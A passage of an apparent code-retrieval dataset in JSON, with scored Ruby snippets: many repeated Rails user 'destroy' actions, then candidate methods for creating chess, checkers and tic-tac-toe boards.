:ok }\r\n end\r\n end", "title": "" }, { "docid": "be0c445e146b5a3a493c2f0e77ffa1cd", "score": "0.69214207", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/users\" }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69128025", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fc5986aa5ce9638f0675ee1e4cb70b2a", "score": "0.69122803", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
8e0d3b92b18a70eacd5d0ef34c58ad67
return a new board
[ { "docid": "afc8ced39e47289610f0900c07052400", "score": "0.0", "text": "def new_board\n #the board array, true: the block is taken; false: the block is not taken\n #the order for the array value is referring to the block location as following:\n #[r1-c1, r1-c2, r1-c3, r2-c1, r2-c2, r2-c3, r3-c1, r3-c2, r3-c3]\n board_array = []\n (0..8).each {|v| board_array[v] = NO_ONE_S}\n board_array\nend", "title": "" } ]
[ { "docid": "f18aca231ec0a3e942c145c0956988cf", "score": "0.8396671", "text": "def new_board\n\t board = self.class.new\n\t board.state = @state.dup\n\t board.turn = @turn.dup\n\t return board\n \tend", "title": "" }, { "docid": "ed365b3b57a3573cd627a2289cb16f68", "score": "0.78821874", "text": "def createBoard()\n\t\t@board = Board.new;\n\t\n\tend", "title": "" }, { "docid": "3891fd6e33b55e80c3c34decdd9fad14", "score": "0.78166604", "text": "def new_board\n @board = []\n width.times do |x|\n height.times do |y|\n @board << Cell.new(coord: Coordinate.new(x,y), val: default_cell)\n end\n end\n end", "title": "" }, { "docid": "7939d055efeaa711909961bdfb5f5997", "score": "0.77884316", "text": "def create_new_board()\n board = []\n 8.times do |row_number|\n row = []\n 8.times do |col_number|\n row << Square.new(\n [row_number, col_number],\n )\n end\n board << row\n end\n board\n end", "title": "" }, { "docid": "582867ae7ba6a1e832ad59574e7a3386", "score": "0.7725056", "text": "def create_board\n\t\t@current_turn = 'white'\n\n\t\t@chess_board[0][0], @chess_board[7][0] = Rook.new('white'), Rook.new('white')\n\t\t@chess_board[1][0], @chess_board[6][0] = Knight.new('white'), Knight.new('white')\n\t\t@chess_board[2][0], @chess_board[5][0] = Bishop.new('white'), Bishop.new('white')\n\t\t@chess_board[3][0] = Queen.new('white')\n\t\t@chess_board[4][0] = King.new('white')\n\t\t8.times {|i| @chess_board[i][1] = Pawn.new('white')}\n\n\t\t@chess_board[0][7], @chess_board[7][7] = Rook.new('black'), Rook.new('black')\n\t\t@chess_board[1][7], @chess_board[6][7] = Knight.new('black'), Knight.new('black')\n\t\t@chess_board[2][7], @chess_board[5][7] = Bishop.new('black'), Bishop.new('black')\n\t\t@chess_board[3][7] = Queen.new('black')\n\t\t@chess_board[4][7] = King.new('black')\n\t\t8.times {|i| @chess_board[i][6] = Pawn.new('black')}\n\n\tend", "title": "" }, { "docid": "6402f66706384c4979e83e7d13466757", "score": "0.77107835", "text": "def create_new_board\n @board = Array.new(8).map { |col| col = Array.new(8).fill(:empty) }\n end", "title": "" }, { "docid": "e128ab3dd31701681dbc83dc4ebdfe78", "score": "0.7671984", "text": "def create_board\n @board = []\n 0.upto(7) {|i|\n 0.upto(7) {|j|\n @board << [i,j]\n }\n }\n return @board\n end", "title": "" }, { "docid": "0eeb5472e218de8c5f0933f0f821538a", "score": "0.7660503", "text": "def new_board()\n b = \"black\"; w = \"white\"\n # Inserting Pawns\n (\"A\"..\"H\").each do |char| \n sym_b = (char +\"2\").to_sym\n sym_w = (char +\"7\").to_sym\n @board[sym_b] = Pawn.new(b)\n @board[sym_w] = Pawn.new(w)\n end\n\n # Inserting black pieces\n @black_king = King.new(b)\n @board[:E1] = @black_king\n @board[:D1] = Queen.new(b)\n @board[:A1] = @board[:H1] = Rook.new(b)\n @board[:B1] = @board[:G1] = Knight.new(b)\n @board[:C1] = @board[:F1] = Bishop.new(b)\n \n\n # Inserting white pieces\n @white_king = King.new(w)\n @board[:E8] = @white_king\n @board[:D8] = Queen.new(w)\n @board[:A8] = @board[:H8] = Rook.new(w)\n @board[:B8] = @board[:G8] = Knight.new(w)\n @board[:C8] = @board[:F8] = Bishop.new(w)\n \n end", "title": "" }, { "docid": "1b410ccc16757cb7fb4cd549d45f603f", "score": "0.7660304", "text": "def new_board\n @a1 = ' '\n @a2 = ' '\n @a3 = ' '\n @b1 = ' '\n @b2 = ' '\n @b3 = ' '\n @c1 = ' '\n @c2 = ' '\n @c3 = ' '\n end", "title": "" }, { "docid": "93f6152c0ed3f1f90263c11ddaecf773", "score": "0.7648665", "text": "def create_board\n # Create empty board and backline class order\n parts = [Castle, Knight, Bishop, Queen, King, Bishop, Knight, Castle]\n @board = []\n\n # Setup black side of the board\n @board << (0..7).map { |item| parts[item].new([@board.length, item], \"black\")}\n @board << (0..7).map { |row| Pawn.new([@board.length, row], \"black\")}\n \n # adds empty spaces\n while @board.length < 6\n @board << [nil] * 8\n # @board << [' '] * 8\n end\n \n # Setup white side of the board\n @board << (0..7).map { |row| Pawn.new([@board.length, row], \"white\")}\n @board << (0..7).map { |item| parts[item].new([@board.length, item], \"white\")}\n\n return @board\n end", "title": "" }, { "docid": "bf34e4052929c33d5fabdacbc5963370", "score": "0.762263", "text": "def board\n @board.dup\n end", "title": "" }, { "docid": "d0afc23463303aa84881e054005d4901", "score": "0.75922877", "text": "def new\n @board = Board.new\n end", "title": "" }, { "docid": "d0afc23463303aa84881e054005d4901", "score": "0.75922877", "text": "def new\n @board = Board.new\n end", "title": "" }, { "docid": "d0afc23463303aa84881e054005d4901", "score": "0.75922877", "text": "def new\n @board = Board.new\n end", "title": "" }, { "docid": "4eecc9e20a9b87988e5e125ae2d31f7c", "score": "0.7565908", "text": "def dup\n #like chess\n new_board = Board.new(false)\n \n pieces.each do |piece|\n piece.class.new(piece.color, new_board, piece.pos)\n end\n \n new_board\n end", "title": "" }, { "docid": "4f7aeacfdf15a90337e1976114e9c820", "score": "0.75501215", "text": "def new_board\n random_board\n end", "title": "" }, { "docid": "a7ec93b44b31fa3a91e625dd8761211a", "score": "0.7518306", "text": "def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end", "title": "" }, { "docid": "27dfe77d6eba5491bb63b244eaea411b", "score": "0.75082207", "text": "def make_board\n @board = [\n 0, 1, 2,\n 3, 4, 5,\n 6, 7, 8\n ] # is this instance variable @board the same?\n end", "title": "" }, { "docid": "32b7590c2908840e12be087797324888", "score": "0.7497106", "text": "def new_board\n Array.new(BOARD_SIZE[0]) do # build each cols L to R\n Array.new(BOARD_SIZE[1]) do # insert cells in each col\n 0\n end\n end\n end", "title": "" }, { "docid": "32b7590c2908840e12be087797324888", "score": "0.7497106", "text": "def new_board\n Array.new(BOARD_SIZE[0]) do # build each cols L to R\n Array.new(BOARD_SIZE[1]) do # insert cells in each col\n 0\n end\n end\n end", "title": "" }, { "docid": "77e822453e2e7404d45fb1b304a7e73f", "score": "0.74794656", "text": "def create_board\n Display.input_board_width\n width = gets.chomp.to_i\n Display.input_board_height\n height = gets.chomp.to_i\n return Board.new(width, height)\n end", "title": "" }, { "docid": "6d853294bcd0c88a4d6f467edb38445c", "score": "0.7411693", "text": "def new_board_game\n start_board = BoardGame.new #===> we create an instance of the BoardGame class\n start_board.generate_empty_board\n end", "title": "" }, { "docid": "d0d9515416d54874961b180c975e881b", "score": "0.7404766", "text": "def clone()\n struct = @board.map{|row| row.map{|card| card.nil? ? nil : card.serialize}}\n new_data = MessagePack.unpack(MessagePack.pack(struct))\n Board.new(new_data.map{|row| row.map{|s| s.nil? ? nil : Card.from_ary(s)}})\n end", "title": "" }, { "docid": "1fd3cf2cae920cb6f32fbccaa0e1b49d", "score": "0.74021435", "text": "def dup\n dup_board = Board.new(false) # board filled will Null Pieces\n # cycle through all pieces and dup with dup_board\n all_pieces.each do |piece|\n piece.class.new(piece.color, dup_board, piece.pos)\n end\n # return duplicated board\n return dup_board\n end", "title": "" }, { "docid": "195ced122a175bb18313079756384d38", "score": "0.7396808", "text": "def dup_board\n duped_grid = Board.deep_dup(@grid)\n duped_board=Board.new(duped_grid)\n end", "title": "" }, { "docid": "493b6e2fcee93fbcad183a1ff69ead06", "score": "0.7396448", "text": "def setup_new_board\n (0..9).each do |col|\n (0..3).each do |row|\n pos = [row, col]\n self[pos] = Piece.new(self, :black, pos) if (row + col) % 2 == 1\n pos = [row + 6, col]\n self[pos] = Piece.new(self, :white, pos) if (row + col) % 2 == 1\n end\n end\n end", "title": "" }, { "docid": "b6f1779484d867d9c35a4051f9417314", "score": "0.73888516", "text": "def new_board\n [\n [\n Square.new(Rook.new(:black, [0, 0])),\n Square.new(Knight.new(:black, [0, 1])),\n Square.new(Bishop.new(:black, [0, 2])),\n Square.new(King.new(:black, [0, 3])),\n Square.new(Queen.new(:black, [0, 4])),\n Square.new(Bishop.new(:black, [0, 5])),\n Square.new(Knight.new(:black, [0, 6])),\n Square.new(Rook.new(:black, [0, 7]))\n ],\n [\n Square.new(Pawn.new(:black, [1, 0])),\n Square.new(Pawn.new(:black, [1, 1])),\n Square.new(Pawn.new(:black, [1, 2])),\n Square.new(Pawn.new(:black, [1, 3])),\n Square.new(Pawn.new(:black, [1, 4])),\n Square.new(Pawn.new(:black, [1, 5])),\n Square.new(Pawn.new(:black, [1, 6])),\n Square.new(Pawn.new(:black, [1, 7]))\n ],\n [\n Square.new, Square.new, Square.new, Square.new,\n Square.new, Square.new, Square.new, Square.new\n ],\n [\n Square.new, Square.new, Square.new, Square.new,\n Square.new, Square.new, Square.new, Square.new\n ],\n [\n Square.new, Square.new, Square.new, Square.new,\n Square.new, Square.new, Square.new, Square.new\n ],\n [\n Square.new, Square.new, Square.new, Square.new,\n Square.new, Square.new, Square.new, Square.new\n ],\n [\n Square.new(Pawn.new(:white, [6, 0])),\n Square.new(Pawn.new(:white, [6, 1])),\n Square.new(Pawn.new(:white, [6, 2])),\n Square.new(Pawn.new(:white, [6, 3])),\n Square.new(Pawn.new(:white, [6, 4])),\n Square.new(Pawn.new(:white, [6, 5])),\n Square.new(Pawn.new(:white, [6, 6])),\n Square.new(Pawn.new(:white, [6, 7]))\n ],\n [\n Square.new(Rook.new(:white, [7, 0])),\n Square.new(Knight.new(:white, [7, 1])),\n Square.new(Bishop.new(:white, [7, 2])),\n Square.new(King.new(:white, [7, 3])),\n 